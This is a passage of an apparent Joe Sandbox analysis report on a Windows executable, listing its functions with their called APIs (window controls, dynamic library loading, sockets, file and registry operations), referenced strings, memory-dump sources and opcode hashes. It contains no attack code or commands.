Instruction Fuzzy Hash: 4861A43290C2428AE775AF348445BBCBFE8FB21B98FD411B5C64A51599EF2CE463C721

Function 00007FF797866148 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF797866202

Strings

!, xrefs: 00007FF797866237
acos, xrefs: 00007FF797866215

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _set_statfp
String ID: !$acos
API String ID: 1156100317-2870037509
Opcode ID: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction ID: fe5ca1412b41fbb3255159488f00bc1b301016c2ef4a2c1cf53530701b0ed556
Opcode Fuzzy Hash: 0d89aa78777a41b63d954a76095aee346a1dbdd639e7adc8a9fc006d5894d638
Instruction Fuzzy Hash: 9B61D821E28F8688E233AB345815776EF54BFA63D0F91C336E91E35A64DF2DE0934610

Function 00007FF797866408 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 138COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7978664BA

Strings

asin, xrefs: 00007FF7978664CD
!, xrefs: 00007FF7978664EF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: _set_statfp
String ID: !$asin
API String ID: 1156100317-2188059690
Opcode ID: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction ID: c543cebe40406ca99548f4f4b2ab4b90d9dc88d390975940e56a7f0a713a88bd
Opcode Fuzzy Hash: dda4458e7c1e859fb838f80da50bdd89987d805c8091ebd73b4f99c53429eb29
Instruction Fuzzy Hash: 5C61FB21D28F8685E263EB349815776DB64BF963D0F90C332E95E35965DF1CF0534610

Function 00007FF7978AA6BC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32 ref: 00007FF7978AA74D
DeleteMenu.USER32 ref: 00007FF7978AA799
DeleteMenu.USER32(?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF7978AA7E6

Strings

P, xrefs: 00007FF7978AA722

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: P
API String ID: 135850232-3110715001
Opcode ID: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction ID: a8f4affaa28d7b6c5b2749f867365ec6937f5c8550ac64ebe002cffcff52aba7
Opcode Fuzzy Hash: 7a885196f2dcceb0a8221e88f5e4acf8149e86b4233e81131ef081c483961346
Instruction Fuzzy Hash: 8241E322A14A8191EB74EB35C445BA9AB60FB84BE0F968231DA6D03BC1DF3CD453C721

Function 00007FF7978DB454 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

SetWindowPos.USER32 ref: 00007FF7978DB556
GetWindowLongW.USER32 ref: 00007FF7978DB57B
SetWindowLongPtrW.USER32 ref: 00007FF7978DB58E

Strings

SysTreeView32, xrefs: 00007FF7978DB512

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction ID: d055dd3b5a1304f641d4fe7ee77bcc1a09540baa141bff1828f54bb35fe9e9a1
Opcode Fuzzy Hash: efcadc7bc094786019cbc8bf8bf3fbcf06e95b4321d3c984f5b6707381f7f713
Instruction Fuzzy Hash: DA416132A097C186E770AF28E444B99BBA1F7847A4F544335DAA807A98DF3CD856CF50

Function 00007FF7978DB798 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978DB8B1
SendMessageW.USER32 ref: 00007FF7978DB8C9
DestroyWindow.USER32 ref: 00007FF7978DB8D6

Strings

msctls_updown32, xrefs: 00007FF7978DB7E3

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyObjectStock
String ID: msctls_updown32
API String ID: 1752125012-2298589950
Opcode ID: 3ad8a05af1a04f4639f3558a706eda2379b4f54061b6a2bc35ec0bb5bf7c66ed
Instruction ID: caf6b1266d932062c98667e36cdf14d1fc0aba129c62b7c5a06da5f160d0fe4d
Opcode Fuzzy Hash: 3ad8a05af1a04f4639f3558a706eda2379b4f54061b6a2bc35ec0bb5bf7c66ed
Instruction Fuzzy Hash: 4931A232A18B8596EB60EF25E4807AAB760FBC4BD1F908136DA8D47B54CF3CD456CB10

Function 00007FF7978DA1F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978DA2E4
SendMessageW.USER32 ref: 00007FF7978DA2F8
MoveWindow.USER32 ref: 00007FF7978DA328

Strings

Listbox, xrefs: 00007FF7978DA23D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$Window$CreateMoveObjectStock
String ID: Listbox
API String ID: 3747482310-2633736733
Opcode ID: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction ID: ae2d849030f310cdee95cc9c06acb55ed0c788b5afac29f210d0b31f73e3d623
Opcode Fuzzy Hash: 4629ce28c24575fa998f22937708fe0feac1f339ddb28addb223e5ca3634c4d7
Instruction Fuzzy Hash: AE313D366187C186E770DF25B444A5AB7A5F7887E0F504235EAA903B99CB3DD492CF10

Function 00007FF7978DB104 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79783932C: CreateWindowExW.USER32 ref: 00007FF7978393BC
Part of subcall function 00007FF79783932C: GetStockObject.GDI32 ref: 00007FF7978393D9
Part of subcall function 00007FF79783932C: SendMessageW.USER32 ref: 00007FF7978393EC

SendMessageW.USER32 ref: 00007FF7978DB1BE
SendMessageW.USER32 ref: 00007FF7978DB1DA
SendMessageW.USER32 ref: 00007FF7978DB1EF

Strings

msctls_trackbar32, xrefs: 00007FF7978DB14B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: msctls_trackbar32
API String ID: 1025951953-1010561917
Opcode ID: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction ID: 37175810469db58f4b377866d3ed58faad0e93a025a0d015828301e0ced66898
Opcode Fuzzy Hash: d23565779f05c86e88825c5223c790f228a79c76439431c452903b53a7f93148
Instruction Fuzzy Hash: BD31187261868187E770DF25E448B5ABBA1FB88B90F504235EBA803B54CF3CD856CB14

Function 00007FF79789F5CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF79789F378: SendMessageTimeoutW.USER32 ref: 00007FF79789F3A8
Part of subcall function 00007FF79789F378: GetWindowThreadProcessId.USER32 ref: 00007FF79789F3B8
Part of subcall function 00007FF79789F378: GetCurrentThreadId.KERNEL32 ref: 00007FF79789F3C0
Part of subcall function 00007FF79789F378: AttachThreadInput.USER32 ref: 00007FF79789F3E5

GetFocus.USER32 ref: 00007FF79789F605

Part of subcall function 00007FF79789F3F4: GetParent.USER32 ref: 00007FF79789F407

GetClassNameW.USER32 ref: 00007FF79789F656
EnumChildWindows.USER32 ref: 00007FF79789F684

Part of subcall function 00007FF79789F378: GetWindowThreadProcessId.USER32 ref: 00007FF79789F3D0
Part of subcall function 00007FF79789F378: GetCurrentThreadId.KERNEL32 ref: 00007FF79789F3D8

Strings

%s%d, xrefs: 00007FF79789F691

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Thread$CurrentProcessWindow$AttachChildClassEnumFocusInputMessageNameParentSendTimeoutWindows
String ID: %s%d
API String ID: 2330185562-1110647743
Opcode ID: 857964eeb1744f33fa59f7157a8d227542009ecfa466120d8aa32e1a6fda710b
Instruction ID: 9d933bcb7dd11f4011cdd4e40c90c8c6275f27f42b3564bccf17ae034eb3683a
Opcode Fuzzy Hash: 857964eeb1744f33fa59f7157a8d227542009ecfa466120d8aa32e1a6fda710b
Instruction Fuzzy Hash: 36218121B08B8291EA28FB32E8446FAA761EF85BD0F944031DE9D07755DF2CE127C720

Function 00007FF797858782 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF797857130: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF797857134

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF7978587AA
RaiseException.KERNEL32 ref: 00007FF7978587D3
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF797858834

Strings

csm, xrefs: 00007FF797858807

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction ID: dc09db8ec29c2af25564069df3990dda2c47db4c6191aa6ae467bd01d7d1b1d2
Opcode Fuzzy Hash: f3b44f69e9663573439d22a4e4da11b073c1d9211702bf15dcc91806c3a7fe41
Instruction Fuzzy Hash: AC212F76608641C3E630EF21E44056EBB61FB89BA5F804266DE9D03795CF3DE897CB14

Function 00007FF7978CAF20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 21libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF797892DD1), ref: 00007FF7978CAF37
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00007FF797892DD1), ref: 00007FF7978CAF4F

Strings

GetSystemWow64DirectoryW, xrefs: 00007FF7978CAF45
kernel32.dll, xrefs: 00007FF7978CAF30

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction ID: 2775bc3f127b35619ae2a6c0553559bb10c9a76e7856dff9d91fe39c9e3c390d
Opcode Fuzzy Hash: b553b98cf413c0522d0a8d0790f0dad2998fa959ac13788e6be9999dd8a5b612
Instruction Fuzzy Hash: 3AF01C61A15B0691EF28AB70E844764A7E4FF08B89FC40435C91C02360EF7CD56AC320

Function 00007FF7978D10C8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,00007FF7978CFCA6), ref: 00007FF7978D10DF
GetProcAddress.KERNEL32(?,?,?,00007FF7978CFCA6), ref: 00007FF7978D10F7

Strings

advapi32.dll, xrefs: 00007FF7978D10D8
RegDeleteKeyExW, xrefs: 00007FF7978D10ED

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction ID: 2140b10f2f0e74c92c5db0efa03923abbdf8b4bbd348266ee722381d58e5763f
Opcode Fuzzy Hash: 88aa4d55391e805054e25835240c34e867389002f23d272af78df165a122bac4
Instruction Fuzzy Hash: 5EE0ED65E15B0681EF28BB70E85476863A0FF08B95F840435D91D45354EF7CD5A6C350

Function 00007FF7978A32F4 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF7978A330B
GetProcAddress.KERNEL32 ref: 00007FF7978A3323

Strings

kernel32.dll, xrefs: 00007FF7978A3304
GetNativeSystemInfo, xrefs: 00007FF7978A3319

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetNativeSystemInfo$kernel32.dll
API String ID: 2574300362-192647395
Opcode ID: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction ID: 0d112c572ae57959e3ed3ec63974e09549fc2da54571f1a8ede102ac5763e3b1
Opcode Fuzzy Hash: 9c402017b67deeecdf71e3c2df55c45970ec8440a50b34eba4d95c6c8b29e614
Instruction Fuzzy Hash: 4DE0ED65909B0281EF29AB70E41476467E0FF18B88FC40435C92D45350EFBCD5B6C350

Function 00007FF79789B7E4 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction ID: a83402bad41ea4dab4c33bfbf59ecde92d6287c26a8b4f426e04aa8edbbb3200
Opcode Fuzzy Hash: 1cc42966959b643a311328828219b797476ac122a15b5d67e7ee0a83cfbaecc2
Instruction Fuzzy Hash: 45D13876B04B5586EB249F36C8506AC7BB4FB88F88B514422DF4D47B98EF39E855C320

Function 00007FF7978C79D8 Relevance: 6.3, APIs: 4, Instructions: 282COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00007FF7978C7A72

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 9575b81051ec9d4a2dbca7109e0a5d23717368d5fc25d1fd70a1261be0fad00e
Instruction ID: 30610fcb67b3a405e060202d332c9cce95a5b638881965cc9a83fa8e9b13293e
Opcode Fuzzy Hash: 9575b81051ec9d4a2dbca7109e0a5d23717368d5fc25d1fd70a1261be0fad00e
Instruction Fuzzy Hash: 87D15A76B04B419AEB20EF75D4805AC7B75FB94788B804036DE0D57B59DF38E52AC390

Function 00007FF7978DD88C Relevance: 6.1, APIs: 4, Instructions: 134windowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,?,?,?,?,00007FF7978BBCA6), ref: 00007FF7978DD91A
ScreenToClient.USER32 ref: 00007FF7978DD947
MoveWindow.USER32 ref: 00007FF7978DD9C5
SendMessageW.USER32 ref: 00007FF7978DDA2D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$ClientMessageMoveRectScreenSend
String ID:
API String ID: 1249313431-0
Opcode ID: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction ID: cdd6941f367c1583f124449ed13728d87d1919defa9f09e9f065f7d0e16dae2d
Opcode Fuzzy Hash: 9c4d75fca34e601744925f37f1e480e3e4c466c4cf94c3035283d246947070fa
Instruction Fuzzy Hash: CB519332A0564285E770AF35D480ABD7BA6FB44BD8F915136DE2D53784DF39E852C320

Function 00007FF7978ABAB8 Relevance: 6.1, APIs: 4, Instructions: 127COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF7978ABB6F
GetLastError.KERNEL32 ref: 00007FF7978ABB7E
CreateDirectoryW.KERNEL32 ref: 00007FF7978ABB8E
CreateDirectoryW.KERNEL32 ref: 00007FF7978ABC27

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction ID: eaf9ba609c8bd3c326e674ada18aabbe4a6e0621bb2f864eba613c19c8da141c
Opcode Fuzzy Hash: 885fddea0d2d34b219ca6ab898c8b75d575591909594024e161a1fcc4b4d8134
Instruction Fuzzy Hash: 8F51D022B05B1185EF64AF36D8409ACABB9BB44BE4B944135DE0D53798EF3CD563C320

Function 00007FF7978C43C8 Relevance: 6.1, APIs: 4, Instructions: 126networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32 ref: 00007FF7978C4414
WSAGetLastError.WSOCK32 ref: 00007FF7978C4423
#21.WSOCK32 ref: 00007FF7978C44AD
WSAGetLastError.WSOCK32 ref: 00007FF7978C44B7

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: ErrorLast$socket
String ID:
API String ID: 1881357543-0
Opcode ID: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction ID: 244fef52c3ab393ef78903b75490a52a333be1ebf3f4959f1abab80a5d1889fb
Opcode Fuzzy Hash: 2f7cf8263c41ad3ca56e1a8fad4cf6ea685e9961862279cbfea50359dc3cc1a2
Instruction Fuzzy Hash: 24417061B1878286DB24BF36A441A7DAF90BB85FE4F844534DE1E5BB96CF3CD0228750

Function 00007FF7978B5DA4 Relevance: 6.1, APIs: 4, Instructions: 108fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32 ref: 00007FF7978B5E75
GetLastError.KERNEL32 ref: 00007FF7978B5E98
DeleteFileW.KERNEL32 ref: 00007FF7978B5EC1
CreateHardLinkW.KERNEL32 ref: 00007FF7978B5EFA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

